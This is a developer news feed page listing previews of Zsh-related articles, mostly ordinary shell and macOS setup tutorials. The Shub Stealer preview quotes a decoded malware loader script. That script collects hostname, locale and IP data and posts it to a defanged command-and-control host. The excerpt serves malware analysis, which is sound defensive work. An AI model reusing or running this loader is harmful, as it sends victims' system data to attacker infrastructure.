# Zsh

Zsh is a shell designed for interactive use and a powerful scripting language.

This is one page of public article previews, not the complete archive. Follow Next page to continue. Summaries are not the original full articles.

## Atomic macOS (AMOS) Stealer Activity

DevFeed: [Atomic macOS (AMOS) Stealer Activity](<https://devfeed.tech/articles/atomic-macos-amos-stealer-activity-30906.md>)

Original publisher: [Read original article](<https://unit42.paloaltonetworks.com/atomic-macos-amos-stealer-activity/>)

Author: Bradley Duncan

Published: 2026-09-16T10:00:06Z

Content type: article

Language: en

Sources: [Unit 42](<https://devfeed.tech/sources/unit-42.md>)

Topics: [Malware](<https://devfeed.tech/topics/malware.md>), [Aeternum](<https://devfeed.tech/topics/aeternum.md>), [macOS](<https://devfeed.tech/topics/macos.md>), [sensitive data](<https://devfeed.tech/topics/sensitive-data.md>), [Zsh](<https://devfeed.tech/topics/zsh.md>), [ClickFix](<https://devfeed.tech/topics/clickfix.md>), [cURL](<https://devfeed.tech/topics/curl.md>)

Tags: [ads](<https://devfeed.tech/tags/ads.md>), [clickfix](<https://devfeed.tech/tags/clickfix.md>), [credentials](<https://devfeed.tech/tags/credentials.md>), [cryptocurrency](<https://devfeed.tech/tags/cryptocurrency.md>), [curl](<https://devfeed.tech/tags/curl.md>), [general](<https://devfeed.tech/tags/general.md>), [insights](<https://devfeed.tech/tags/insights.md>), [macos](<https://devfeed.tech/tags/macos.md>), [malware](<https://devfeed.tech/tags/malware.md>), [sensitive-data](<https://devfeed.tech/tags/sensitive-data.md>), [threat-intelligence](<https://devfeed.tech/tags/threat-intelligence.md>), [unit-42](<https://devfeed.tech/tags/unit-42.md>), [zsh](<https://devfeed.tech/tags/zsh.md>)

### AI overview

This article analyzes a laboratory-generated Atomic macOS (AMOS) stealer infection observed on Aug. 5, 2026. It describes a deceptive macOS toolkit installation page that led users to paste a command into Terminal, retrieving a Zsh script containing an encoded compressed payload and a follow-up script designed to run a Mach-O binary. AMOS targets macOS and can exfiltrate system information, login credentials, and sensitive data from applications including browsers and cryptocurrency wallets.

### Source excerpt

Modern macOS malware uses deceptive setup guides to steal credentials and sensitive user data. Learn how to identify and block these threats. The post Atomic macOS (AMOS) Stealer Activity appeared first on Unit 42.

## Shub Stealers Fake Crypto Apps

DevFeed: [Shub Stealers Fake Crypto Apps](<https://devfeed.tech/articles/shub-stealers-fake-crypto-apps-22545.md>)

Original publisher: [Read original article](<https://medium.com/walmartglobaltech/shub-stealers-fake-crypto-apps-d5e2a65618b7?source=rss----905ea2b3d4d1---4>)

Author: Jason Reaves

Published: 2026-04-06T17:34:44Z

Content type: article

Language: en

Sources: [Walmart Global Tech](<https://devfeed.tech/sources/walmart-global-tech.md>)

Topics: [Security](<https://devfeed.tech/topics/security.md>), [C2](<https://devfeed.tech/topics/c2.md>), [Bash](<https://devfeed.tech/topics/bash.md>), [Zsh](<https://devfeed.tech/topics/zsh.md>), [payload](<https://devfeed.tech/topics/payload.md>), [telemetry](<https://devfeed.tech/topics/telemetry.md>), [API](<https://devfeed.tech/topics/api.md>), [JSON](<https://devfeed.tech/topics/json.md>)

Tags: [c2](<https://devfeed.tech/tags/c2.md>), [code](<https://devfeed.tech/tags/code.md>), [infosec](<https://devfeed.tech/tags/infosec.md>), [json](<https://devfeed.tech/tags/json.md>), [macos](<https://devfeed.tech/tags/macos.md>), [malware](<https://devfeed.tech/tags/malware.md>), [payload](<https://devfeed.tech/tags/payload.md>), [reverse-engineering](<https://devfeed.tech/tags/reverse-engineering.md>), [security](<https://devfeed.tech/tags/security.md>), [shell](<https://devfeed.tech/tags/shell.md>), [shell-script](<https://devfeed.tech/tags/shell-script.md>), [telemetry](<https://devfeed.tech/tags/telemetry.md>), [zsh](<https://devfeed.tech/tags/zsh.md>)

### AI overview

Jason Reaves examines Shub Stealer's fake cryptocurrency applications. The article describes shell-script checks that collect system and locale information, send telemetry, and block execution in certain environments, then explains how counterfeit Exodus, Atomic, Ledger, LedgerLive, and Trezor apps capture wallet credentials or recovery phrases and send the data to command-and-control infrastructure.

### Source excerpt

By: Jason Reaves Shub Stealer[1] which looks very similar to MacSync also leveraged the same obfuscator on their shellscript[2] that is very popular lately. Shell script: fd674425d3fc0d95bbc90dcd598eabdb2ddd77037954c8a1d1175f118d1e8ddd After decoding however it is a bit different as it includes a number of checks: #!/bin/zsh # Debug loader -- detect CIS and block with telemetry IS_CIS="false" if defaults read ~/Library/Preferences/com.apple.HIToolbox.plist AppleEnabledInputSources 2>/dev/null | grep -qi russian; then IS_CIS="true" fi # Detect locale info -- sanitize for JSON LOCALE_INFO=$(defaults read ~/Library/Preferences/com.apple.HIToolbox.plist AppleEnabledInputSources 2>/dev/null | grep -i "KeyboardLayout Name" | head -5 | tr '\n' ',' | tr -d '"' | tr -d "'" || echo "unknown") HOSTNAME=$(hostname 2>/dev/null | tr -d '"' || echo "unknown") OS_VER=$(sw_vers -productVersion 2>/dev/null || echo "unknown") EXT_IP=$(curl -s --max-time 5 https://api.ipify.org 2>/dev/null || curl -s --max-time 5 hxxps://icanhazip.com 2>/dev/null || curl -s --max-time hxxps://ifconfig[.]me 2>/dev/null || echo "unknown") EXT_IP=$(echo "$EXT_IP" | tr -d ' ') # Build JSON safely using printf send_debug_event() { local EVT="$1" local JSON=$(printf '{"event":"%s","build_hash":"%s","ip":"%s","is_cis":"%s","locale":"%s","hostname":"%s","os_version":"%s"}' "$EVT" "" "$EXT_IP" "$IS_CIS" "$LOCALE_INFO" "$HOSTNAME" "$OS_VER") curl -s -X POST "hxxps://coco2-hram[.]com/api/debug/event" -H "Content-Type: application/json" -d "$JSON" --max-time 5 >/dev/null 2>&1 } # If CIS -- send cis_blocked event and exit if [ "$IS_CIS" = "true" ]; then send_debug_event "cis_blocked" >/dev/null 2>&1 exit 0 fi # Not CIS -- send loader_requested event send_debug_event "loader_requested" >/dev/null 2>&1 & daemon_function() { exec </dev/null exec >/dev/null exec 2>/dev/null curl -k -s --max-time 30 -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Sa

## Zsh 'illegal modifier' with Git Conventional Commits

DevFeed: [Zsh 'illegal modifier' with Git Conventional Commits](<https://devfeed.tech/articles/zsh-illegal-modifier-with-git-conventional-commits-27738.md>)

Original publisher: [Read original article](<https://gagor.pro/2025/12/zsh-illegal-modifier-with-git-conventional-commits/>)

Author: Tom

Published: 2025-12-19T00:00:00Z

Content type: tutorial

Language: en

Sources: [Tomasz Gągor](<https://devfeed.tech/sources/tomasz-gagor.md>)

Topics: [Zsh](<https://devfeed.tech/topics/zsh.md>), [Git](<https://devfeed.tech/topics/git.md>)

Tags: [command-line-tip](<https://devfeed.tech/tags/command-line-tip.md>), [commit](<https://devfeed.tech/tags/commit.md>), [conventional-commits](<https://devfeed.tech/tags/conventional-commits.md>), [errors](<https://devfeed.tech/tags/errors.md>), [fzf](<https://devfeed.tech/tags/fzf.md>), [git](<https://devfeed.tech/tags/git.md>), [git-commit-error](<https://devfeed.tech/tags/git-commit-error.md>), [github-action](<https://devfeed.tech/tags/github-action.md>), [history-expansion](<https://devfeed.tech/tags/history-expansion.md>), [linux](<https://devfeed.tech/tags/linux.md>), [macos](<https://devfeed.tech/tags/macos.md>), [no-bang-hist](<https://devfeed.tech/tags/no-bang-hist.md>), [shell-configuration](<https://devfeed.tech/tags/shell-configuration.md>), [zsh](<https://devfeed.tech/tags/zsh.md>), [zsh-bang-history](<https://devfeed.tech/tags/zsh-bang-history.md>)

### AI overview

This tutorial explains how Zsh history expansion can cause "illegal modifier" errors when using Git Conventional Commits. It shows how disabling the NO_BANG_HIST option allows bang characters to be used in quoted commit messages.

### Source excerpt

Fix ZSH 'illegal modifier' errors with Git Conventional Commits by disabling the NO_BANG_HIST option.

## How to add a directory to your PATH

DevFeed: [How to add a directory to your PATH](<https://devfeed.tech/articles/how-to-add-a-directory-to-your-path-21118.md>)

Original publisher: [Read original article](<https://jvns.ca/blog/2025/02/13/how-to-add-a-directory-to-your-path/>)

Author: Julia Evans

Published: 2025-02-13T12:27:56Z

Content type: tutorial

Language: en

Sources: [Julia Evans](<https://devfeed.tech/sources/julia-evans.md>)

Topics: [Shell](<https://devfeed.tech/topics/shell.md>), [Terminal](<https://devfeed.tech/topics/terminal.md>), [Command-line interface](<https://devfeed.tech/topics/cli.md>), [Scripting, bash](<https://devfeed.tech/topics/scripting-bash.md>), [Zsh](<https://devfeed.tech/topics/zsh.md>), [friendly interactive shell](<https://devfeed.tech/topics/fish.md>), [Linux](<https://devfeed.tech/topics/linux.md>)

Tags: [bash](<https://devfeed.tech/tags/bash.md>), [config](<https://devfeed.tech/tags/config.md>), [files](<https://devfeed.tech/tags/files.md>), [flow](<https://devfeed.tech/tags/flow.md>), [gotchas](<https://devfeed.tech/tags/gotchas.md>), [history](<https://devfeed.tech/tags/history.md>), [how-to](<https://devfeed.tech/tags/how-to.md>), [linux](<https://devfeed.tech/tags/linux.md>), [mac](<https://devfeed.tech/tags/mac.md>), [syntax](<https://devfeed.tech/tags/syntax.md>), [terminal](<https://devfeed.tech/tags/terminal.md>)

### AI overview

A practical guide to adding a directory to PATH. It explains how to identify whether the shell is bash, zsh, or fish, find the relevant shell configuration file, determine which directory should be added, update the configuration, restart the shell, and troubleshoot common PATH-related problems.

### Source excerpt

I was talking to a friend about how to add a directory to your PATH today. It's something that feels "obvious" to me since I've been using the terminal for a long time, but when I searched for instructions for how to do it, I actually couldn't find something that explained all of the steps - a lot of them just said "add this to ~/.bashrc", but what if you're not using bash? What if your bash config is actually in a different file? And how are you supposed to figure out which directory to add anyway? So I wanted to try to write down some more complete directions and mention some of the gotchas I've run into over the years. Here's a table of contents: step 1: what shell are you using? step 2: find your shell's config file a note on bash's config file step 3: figure out which directory to add step 3.1: double check it's the right directory step 4: edit your shell config step 5: restart your shell problems: problem 1: it ran the wrong program problem 2: the program isn't being run from your shell problem 3: duplicate PATH entries making it harder to debug problem 4: losing your history after updating your PATH notes: a note on source a note on fish_add_path step 1: what shell are you using? If you're not sure what shell you're using, here's a way to find out. Run this: ps -p $$ -o pid,comm= if you're using bash, it'll print out 97295 bash if you're using zsh, it'll print out 97295 zsh if you're using fish, it'll print out an error like "In fish, please use $fish_pid" ($$ isn't valid syntax in fish, but in any case the error message tells you that you're using fish, which you probably already knew) Also bash is the default on Linux and zsh is the default on Mac OS (as of 2024). I'll only cover bash, zsh, and fish in these directions. step 2: find your shell's config file in zsh, it's probably ~/.zshrc in bash, it might be ~/.bashrc, but it's complicated, see the note in the next section in fish, it's probably ~/.config/fish/config.fish (you can run echo $__fish_config_di

## Mac Setup for Web Development \[2026\]

DevFeed: [Mac Setup for Web Development \[2026\]](<https://devfeed.tech/articles/mac-setup-for-web-development-2026-18948.md>)

Original publisher: [Read original article](<https://www.robinwieruch.de/mac-setup-web-development/>)

Author: Robin Wieruch

Published: 2025-01-07T04:50:46Z

Content type: tutorial

Language: en

Sources: [Robin Wieruch](<https://devfeed.tech/sources/robin-wieruch.md>)

Topics: [Web Development](<https://devfeed.tech/topics/web-development.md>), [macOS](<https://devfeed.tech/topics/macos.md>), [Homebrew](<https://devfeed.tech/topics/homebrew.md>), [vs-code](<https://devfeed.tech/topics/vs-code.md>), [Zsh](<https://devfeed.tech/topics/zsh.md>), [Git](<https://devfeed.tech/topics/git.md>), [Node.js](<https://devfeed.tech/topics/node-js.md>), [ssh](<https://devfeed.tech/topics/ssh.md>), [JavaScript](<https://devfeed.tech/topics/javascript.md>), [TypeScript](<https://devfeed.tech/topics/typescript.md>), [Astro](<https://devfeed.tech/topics/astro.md>), [React](<https://devfeed.tech/topics/react.md>)

Tags: [2026](<https://devfeed.tech/tags/2026.md>), [astro](<https://devfeed.tech/tags/astro.md>), [development](<https://devfeed.tech/tags/development.md>), [git](<https://devfeed.tech/tags/git.md>), [js](<https://devfeed.tech/tags/js.md>), [mac](<https://devfeed.tech/tags/mac.md>), [mac-setup-javascript](<https://devfeed.tech/tags/mac-setup-javascript.md>), [mac-setup-web-developer](<https://devfeed.tech/tags/mac-setup-web-developer.md>), [mac-setup-web-development](<https://devfeed.tech/tags/mac-setup-web-development.md>), [macos](<https://devfeed.tech/tags/macos.md>), [node-js](<https://devfeed.tech/tags/node-js.md>), [react](<https://devfeed.tech/tags/react.md>), [ssh](<https://devfeed.tech/tags/ssh.md>), [typescript](<https://devfeed.tech/tags/typescript.md>), [vs-code](<https://devfeed.tech/tags/vs-code.md>), [web-development](<https://devfeed.tech/tags/web-development.md>)

### AI overview

A practical 2026 Mac setup guide for full-stack web development, covering macOS preferences, hardware, Homebrew, terminal tools, VS Code, Git, SSH, and Node.js with NVM.

### Source excerpt

My complete Mac setup for web development in 2026: macOS preferences, Homebrew, iTerm2, Oh My Zsh, VS Code, Git, SSH, and Node.js with NVM.

## How to transition to secure container images with new migration guides

DevFeed: [How to transition to secure container images with new migration guides](<https://devfeed.tech/articles/how-to-transition-to-secure-container-images-with-new-migration-guides-13096.md>)

Original publisher: [Read original article](<https://www.chainguard.dev/unchained/how-to-transition-to-secure-container-images-with-new-migration-guides>)

Published: 2024-05-22T00:00:00Z

Content type: article

Language: en

Sources: [Chainguard: Unchained](<https://devfeed.tech/sources/chainguard-unchained.md>)

Topics: [chainguard images](<https://devfeed.tech/topics/chainguard-images.md>), [migration](<https://devfeed.tech/topics/migration.md>), [container images](<https://devfeed.tech/topics/container-images.md>), [container-security](<https://devfeed.tech/topics/container-security.md>), [APK](<https://devfeed.tech/topics/apk.md>), [Dockerfile](<https://devfeed.tech/topics/dockerfile.md>), [Package manager](<https://devfeed.tech/topics/package-manager.md>), [Bash](<https://devfeed.tech/topics/bash.md>), [Zsh](<https://devfeed.tech/topics/zsh.md>), [Debian](<https://devfeed.tech/topics/debian.md>)

Tags: [and-best-practices](<https://devfeed.tech/tags/and-best-practices.md>), [apk](<https://devfeed.tech/tags/apk.md>), [base-images](<https://devfeed.tech/tags/base-images.md>), [bash](<https://devfeed.tech/tags/bash.md>), [best-practices](<https://devfeed.tech/tags/best-practices.md>), [build](<https://devfeed.tech/tags/build.md>), [chainguard](<https://devfeed.tech/tags/chainguard.md>), [chainguard-images](<https://devfeed.tech/tags/chainguard-images.md>), [container](<https://devfeed.tech/tags/container.md>), [container-based-application](<https://devfeed.tech/tags/container-based-application.md>), [container-images](<https://devfeed.tech/tags/container-images.md>), [container-security](<https://devfeed.tech/tags/container-security.md>), [container-security-strategy](<https://devfeed.tech/tags/container-security-strategy.md>), [cves](<https://devfeed.tech/tags/cves.md>), [debian](<https://devfeed.tech/tags/debian.md>), [dependencies](<https://devfeed.tech/tags/dependencies.md>), [docker-hub-image](<https://devfeed.tech/tags/docker-hub-image.md>), [dockerfiles](<https://devfeed.tech/tags/dockerfiles.md>), [guides](<https://devfeed.tech/tags/guides.md>), [how-to](<https://devfeed.tech/tags/how-to.md>), [image-migration](<https://devfeed.tech/tags/image-migration.md>), [migration](<https://devfeed.tech/tags/migration.md>), [migration-guides](<https://devfeed.tech/tags/migration-guides.md>), [python-image](<https://devfeed.tech/tags/python-image.md>), [secure-container-image](<https://devfeed.tech/tags/secure-container-image.md>), [secure-container-images](<https://devfeed.tech/tags/secure-container-images.md>)

### AI overview

This guide explains how to migrate container images to Chainguard Images for smaller image sizes, fewer vulnerabilities, and continuous maintenance. It covers using -dev images for shells and package managers, installing bash or zsh when needed, searching for packages with apk, and adapting Dockerfiles and entrypoint scripts.

### Source excerpt

Struggling to adopt secure container images? Our new migration guides provide step-by-step instructions and best practices for a smooth transition.

## The power of extensive command history in Bash and Zsh

DevFeed: [The power of extensive command history in Bash and Zsh](<https://devfeed.tech/articles/the-power-of-extensive-command-history-in-bash-and-zsh-27706.md>)

Original publisher: [Read original article](<https://gagor.pro/2024/03/the-power-of-extensive-command-history-in-bash-and-zsh/>)

Author: Tom

Published: 2024-03-05T00:00:00Z

Content type: tutorial

Language: en

Sources: [Tomasz Gągor](<https://devfeed.tech/sources/tomasz-gagor.md>)

Topics: [Zsh](<https://devfeed.tech/topics/zsh.md>), [Bash](<https://devfeed.tech/topics/bash.md>), [Terminal](<https://devfeed.tech/topics/terminal.md>), [Command-line interface](<https://devfeed.tech/topics/cli.md>), [Scripting, bash](<https://devfeed.tech/topics/scripting-bash.md>)

Tags: [bash](<https://devfeed.tech/tags/bash.md>), [bash-history](<https://devfeed.tech/tags/bash-history.md>), [efficiency](<https://devfeed.tech/tags/efficiency.md>), [extensive-command-history](<https://devfeed.tech/tags/extensive-command-history.md>), [how-to](<https://devfeed.tech/tags/how-to.md>), [linux](<https://devfeed.tech/tags/linux.md>), [linux-shell-tips](<https://devfeed.tech/tags/linux-shell-tips.md>), [macos](<https://devfeed.tech/tags/macos.md>), [macos-shell-tips](<https://devfeed.tech/tags/macos-shell-tips.md>), [productivity](<https://devfeed.tech/tags/productivity.md>), [shortcuts](<https://devfeed.tech/tags/shortcuts.md>), [terminal](<https://devfeed.tech/tags/terminal.md>), [terminal-productivity](<https://devfeed.tech/tags/terminal-productivity.md>), [zsh](<https://devfeed.tech/tags/zsh.md>), [zsh-history](<https://devfeed.tech/tags/zsh-history.md>)

### AI overview

This tutorial explains how to maintain and search extensive command history in Bash and Zsh to reduce repeated command lookups and improve terminal efficiency. It discusses history recall, fuzzy finding, and configuration considerations such as overly aggressive deduplication.

### Source excerpt

Learn how to leverage extensive command history in Bash and Zsh to improve your efficiency and productivity in the terminal.

## Slashed 0 in IBM Plex - freeze alt. characters in otf fonts

DevFeed: [Slashed 0 in IBM Plex - freeze alt. characters in otf fonts](<https://devfeed.tech/articles/slashed-0-in-ibm-plex-freeze-alt-characters-in-otf-fonts-25250.md>)

Original publisher: [Read original article](<https://kau.sh/blog/freeze-alt-char-open-type-font/>)

Author: Kaushik Gopal

Published: 2023-11-27T01:41:42Z

Content type: tutorial

Language: en

Sources: [Kaushik Gopal's Site](<https://devfeed.tech/sources/kaushik-gopal-s-site.md>)

Topics: [Font](<https://devfeed.tech/topics/font.md>), [ibm](<https://devfeed.tech/topics/ibm.md>), [Open Source](<https://devfeed.tech/topics/open-source.md>), [Zsh](<https://devfeed.tech/topics/zsh.md>)

Tags: [commands](<https://devfeed.tech/tags/commands.md>), [fonts](<https://devfeed.tech/tags/fonts.md>), [ibm](<https://devfeed.tech/tags/ibm.md>), [install](<https://devfeed.tech/tags/install.md>), [open-source](<https://devfeed.tech/tags/open-source.md>), [plex](<https://devfeed.tech/tags/plex.md>)

### AI overview

This tutorial explains how to permanently enable selected alternative glyphs in an OpenType font. Using IBM Plex Mono as an example, it covers obtaining the complete OTF file, identifying stylistic character sets, and using pyftfeatfreeze to generate a customized font variant.

### Source excerpt

OpenType fonts have font features or variants that you can use to represent certain characters differently. For example, my beloved IBM Plex Mono1 has quite a few alternative glyphs to pick from: I prefer the single story "g" and slashed "0" characters for clarity. But you'll find no obvious way to turn these version of the characters on permanently. After searching and trying quite a few ways to do this, I found an approach that works pretty well. This blog post will explain how you can pick alternative characters that come with certain open type fonts like IBM Plex Mono and build a version of the font that will permanently switch these alternative character variants on. Step 1: obtain the complete .otf font file ## It's important to have your source .otf file have the complete list of characters. If your font doesn't have these to begin with, this approach will not work. As an example, IBM Plex Mono's full otf can be downloaded here. Step 2: identify the alternative character sets you want ## Upload your font to wakamaifondue.com. You'll get a neat summary of your font and all the available features variants. Step 3: use pyftfeatfreeze ## pyftfeatfreeze is a fantastic open source tool that allows you to create a new version of your font with the specific set of alternative characters chosen. Here's the entire set of commands I used to generate my variant of IBM Plex Mono: #!/bin/zsh fontSuffix="KG" # create a new directory for your font mkdir -p "IBM-Plex-Mono-$fontSuffix" # change to directory that has original otf font cd IBM-Plex-Mono # install the tool pipx install opentype-feature-freezer # Pick the right combination of stylistic characters # By default IBM Plex Mono ships: # Regular - styled g; styled a (with caps) # Italic - plain g ; plain a (without cap) # I prefer keeping it all consistent # so I change my italic fonts to also have the styled versions of g/a # In the non-italic versions of IBM Plex Mono, change # ss03 - slashed 0 for f in $(fd -HI ibmple

## Simplifying a Personal Developer Toolset by Consolidating Apps and Switching Editors

DevFeed: [Simplifying a Personal Developer Toolset by Consolidating Apps and Switching Editors](<https://devfeed.tech/articles/this-year-i-shall-simplify-25329.md>)

Original publisher: [Read original article](<https://kau.sh/blog/simplify/>)

Author: Kaushik Gopal

Published: 2023-04-22T22:53:13Z

Content type: opinion

Language: en

Sources: [Kaushik Gopal's Site](<https://devfeed.tech/sources/kaushik-gopal-s-site.md>)

Topics: [Obsidian](<https://devfeed.tech/topics/obsidian-md.md>), [Zsh](<https://devfeed.tech/topics/zsh.md>), [Terminal](<https://devfeed.tech/topics/terminal.md>), [Vim](<https://devfeed.tech/topics/vim.md>), [friendly interactive shell](<https://devfeed.tech/topics/fish.md>), [IntelliJ IDEA](<https://devfeed.tech/topics/intellij-idea.md>), [Visual Studio Code](<https://devfeed.tech/topics/visual-studio-code.md>), [Ansible](<https://devfeed.tech/topics/ansible.md>), [Android Studio](<https://devfeed.tech/topics/android-studio.md>), [jetbrains](<https://devfeed.tech/topics/jetbrains.md>)

Tags: [android-studio](<https://devfeed.tech/tags/android-studio.md>), [automation](<https://devfeed.tech/tags/automation.md>), [intellij](<https://devfeed.tech/tags/intellij.md>), [jetbrains](<https://devfeed.tech/tags/jetbrains.md>), [plugins](<https://devfeed.tech/tags/plugins.md>), [productivity](<https://devfeed.tech/tags/productivity.md>), [terminal](<https://devfeed.tech/tags/terminal.md>), [tools](<https://devfeed.tech/tags/tools.md>), [vim](<https://devfeed.tech/tags/vim.md>), [vscode](<https://devfeed.tech/tags/vscode.md>)

### AI overview

The author describes simplifying a personal developer toolset by consolidating Things 3 and note-taking in Obsidian, switching from iTerm to Terminal and fish to zsh, using Raycast alongside limited Keyboard Maestro automation, and moving from VSCode toward Vim and JetBrains editors.

### Source excerpt

I'm always trying out new tools to make my life easier. In a cruel twist of irony however, I've found myself customizing and maintaining multiple tools leading to unnecessary complexity and a hit in productivity. So this year, I've made a resolution to simplify and eliminate redundant tools. Nothing is safe from the chopping block! Here are some of the major transitions I've made or plan to make, and I'll be sharing more about each of them in upcoming posts. Things 3 -> Obsidian Notes ## This one surprised me the most. I switched from Things 3 as my Todo app and Obsidian for my notes to using Obsidian for both. While Things 3 has a beautiful UI, I discovered that I could use Obsidian as effectively (if not more) to get things done with the addition of one plugin. Stay tuned for a detail write up on this one. iTerm -> Terminal ## Next, I switched from iTerm to Terminal. This transition was easy since I wasn't relying too heavily on iTerm customizations anyway. The big reason I used iTerm was mostly just for horizaontal split tabs. I dusted off my tmux skills and now am back to just using Terminal.app. fish -> zsh ## Moving from fish to zsh -- on the other hand -- was the most challenging transition since I had years of accumulated scripts and functions that I had to painstakingly port over to zsh. However, I'm happy I made the change since zsh is the default on a new Mac, making it easier to use across different devices. Alfred + Keyboard Maestro (+ Pastebot) -> Raycast ## As an avid user of Alfred and Keyboard Maestro, I was hesitant to switch to Raycast. But after watching a video on its capabilities, I realized that Raycast could replace several of the tools I was using. I was particularly impressed by how easy it was to expand its functionality and add new snippets or quick URL searches. Keyboard Maestro is going to be around for those quick automation macros but I'm going to try and not have it running constantly. More for one-off automation jobs. VSCode -> (Neo)Vim (&

## Show the Active AWS CLI Profile in iTerm2 with zsh Shell Colors

DevFeed: [Show the Active AWS CLI Profile in iTerm2 with zsh Shell Colors](<https://devfeed.tech/articles/oh-this-is-prod-18853.md>)

Original publisher: [Read original article](<https://www.morling.dev/blog/oh_this_is_prod/>)

Published: 2023-01-05T21:10:00Z

Content type: tutorial

Language: en

Sources: [Gunnar Morling](<https://devfeed.tech/sources/gunnar-morling.md>)

Topics: [Amazon Web Services](<https://devfeed.tech/topics/aws.md>), [Command-line interface](<https://devfeed.tech/topics/cli.md>), [Shell](<https://devfeed.tech/topics/shell.md>), [Zsh](<https://devfeed.tech/topics/zsh.md>), [configuration](<https://devfeed.tech/topics/configuration.md>), [Terminal](<https://devfeed.tech/topics/terminal.md>)

Tags: [aws](<https://devfeed.tech/tags/aws.md>), [cli](<https://devfeed.tech/tags/cli.md>), [configuration](<https://devfeed.tech/tags/configuration.md>), [terminal](<https://devfeed.tech/tags/terminal.md>)

### AI overview

This tutorial explains how to make the active AWS CLI profile visible by changing the iTerm2 shell profile according to the selected environment. It uses zsh hooks and an environment variable so development and production sessions are visually distinct, reducing the risk of running tests or commands against production.

### Source excerpt

I strongly believe that you should avoid connecting to production environments from local developer machines as much as possible. But sometimes, e.g. in order to analyse some specific kinds of failures, doing so can be inevitable. Now, if this is the case, I really, really want to be sure that I'm aware of the environment I am working in. I absolutely want to avoid a situation as in the catchy title of this post, when for instance you realize that you just ran some integration test against a production environment. In the context of working with the AWS CLI tool this means I'd like to be aware of the currently active profile by means of coloring my shell accordingly. Here's how I've set this up using iTerm2 and zsh.

## Managing dotfiles with GitHub

DevFeed: [Managing dotfiles with GitHub](<https://devfeed.tech/articles/managing-dotfiles-with-github-37175.md>)

Original publisher: [Read original article](<https://arkadiuszchmura.com/posts/managing-dotfiles-with-github/>)

Published: 2022-11-30T00:00:00Z

Content type: tutorial

Language: en

Sources: [Arkadiusz Chmura](<https://devfeed.tech/sources/arkadiusz-chmura.md>)

Topics: [dotfiles](<https://devfeed.tech/topics/dotfiles.md>), [GitHub](<https://devfeed.tech/topics/github.md>), [configuration](<https://devfeed.tech/topics/configuration.md>), [Git](<https://devfeed.tech/topics/git.md>), [Shell](<https://devfeed.tech/topics/shell.md>), [Terminal](<https://devfeed.tech/topics/terminal.md>), [Zsh](<https://devfeed.tech/topics/zsh.md>), [Vim](<https://devfeed.tech/topics/vim.md>)

Tags: [adb](<https://devfeed.tech/tags/adb.md>), [completion](<https://devfeed.tech/tags/completion.md>), [configuration](<https://devfeed.tech/tags/configuration.md>), [git](<https://devfeed.tech/tags/git.md>), [github](<https://devfeed.tech/tags/github.md>), [laravel](<https://devfeed.tech/tags/laravel.md>), [macos](<https://devfeed.tech/tags/macos.md>), [oh-my-zsh](<https://devfeed.tech/tags/oh-my-zsh.md>), [plugin](<https://devfeed.tech/tags/plugin.md>), [repository](<https://devfeed.tech/tags/repository.md>), [shell](<https://devfeed.tech/tags/shell.md>), [terminal](<https://devfeed.tech/tags/terminal.md>)

### AI overview

A practical guide to managing dotfiles and initialization scripts in a GitHub repository. It explains how to bootstrap a new machine, configure the terminal with Z shell and oh-my-zsh, link Vim and shell configuration files, and keep sensitive variables outside a public repository.

### Source excerpt

This post will describe how I store and manage my dotfiles in a repository on GitHub.

## Shipping completions for Go CLIs using GoReleaser and Cobra

DevFeed: [Shipping completions for Go CLIs using GoReleaser and Cobra](<https://devfeed.tech/articles/shipping-completions-for-go-clis-using-goreleaser-and-cobra-37739.md>)

Original publisher: [Read original article](<https://carlosbecker.com/posts/golang-completions-cobra/>)

Author: Carlos Alexandro Becker

Published: 2022-08-22T00:00:00Z

Content type: tutorial

Language: en

Sources: [Carlos Becker](<https://devfeed.tech/sources/carlos-becker.md>)

Topics: [Go Language](<https://devfeed.tech/topics/go-language.md>), [Command-line interface](<https://devfeed.tech/topics/cli.md>), [Shell](<https://devfeed.tech/topics/shell.md>), [Bash](<https://devfeed.tech/topics/bash.md>), [friendly interactive shell](<https://devfeed.tech/topics/fish.md>), [Zsh](<https://devfeed.tech/topics/zsh.md>), [Homebrew](<https://devfeed.tech/topics/homebrew.md>), [Unix](<https://devfeed.tech/topics/unix.md>)

Tags: [bash](<https://devfeed.tech/tags/bash.md>), [command-line](<https://devfeed.tech/tags/command-line.md>), [go](<https://devfeed.tech/tags/go.md>), [homebrew](<https://devfeed.tech/tags/homebrew.md>), [how-to](<https://devfeed.tech/tags/how-to.md>), [hugo](<https://devfeed.tech/tags/hugo.md>), [packaging](<https://devfeed.tech/tags/packaging.md>), [powershell](<https://devfeed.tech/tags/powershell.md>), [shell](<https://devfeed.tech/tags/shell.md>)

### AI overview

A tutorial on shipping shell completions for Go command-line tools using Cobra and GoReleaser. It covers generating completion files, enabling them through GoReleaser hooks, packaging them for archives, Homebrew, AUR, and nFPM, testing the packages, and optionally adding Unix man pages.

### Source excerpt

Everyone likes command line completions, so much that some even install extra tools just to have them.

## Magic enter command for (fish/zsh) shell

DevFeed: [Magic enter command for (fish/zsh) shell](<https://devfeed.tech/articles/magic-enter-command-for-fish-zsh-shell-25285.md>)

Original publisher: [Read original article](<https://kau.sh/blog/magic-enter-shell/>)

Author: Kaushik Gopal

Published: 2022-07-23T19:50:31Z

Content type: tutorial

Language: en

Sources: [Kaushik Gopal's Site](<https://devfeed.tech/sources/kaushik-gopal-s-site.md>)

Topics: [friendly interactive shell](<https://devfeed.tech/topics/fish.md>), [Zsh](<https://devfeed.tech/topics/zsh.md>), [Shell](<https://devfeed.tech/topics/shell.md>), [Git](<https://devfeed.tech/topics/git.md>), [Command-line interface](<https://devfeed.tech/topics/cli.md>)

Tags: [command-line](<https://devfeed.tech/tags/command-line.md>), [commands](<https://devfeed.tech/tags/commands.md>), [git](<https://devfeed.tech/tags/git.md>), [issue](<https://devfeed.tech/tags/issue.md>), [submodules](<https://devfeed.tech/tags/submodules.md>)

### AI overview

A tutorial for fish and zsh users that binds the Enter key to run git-number in Git repositories with changes, or ls -lh elsewhere when the command line is empty.

### Source excerpt

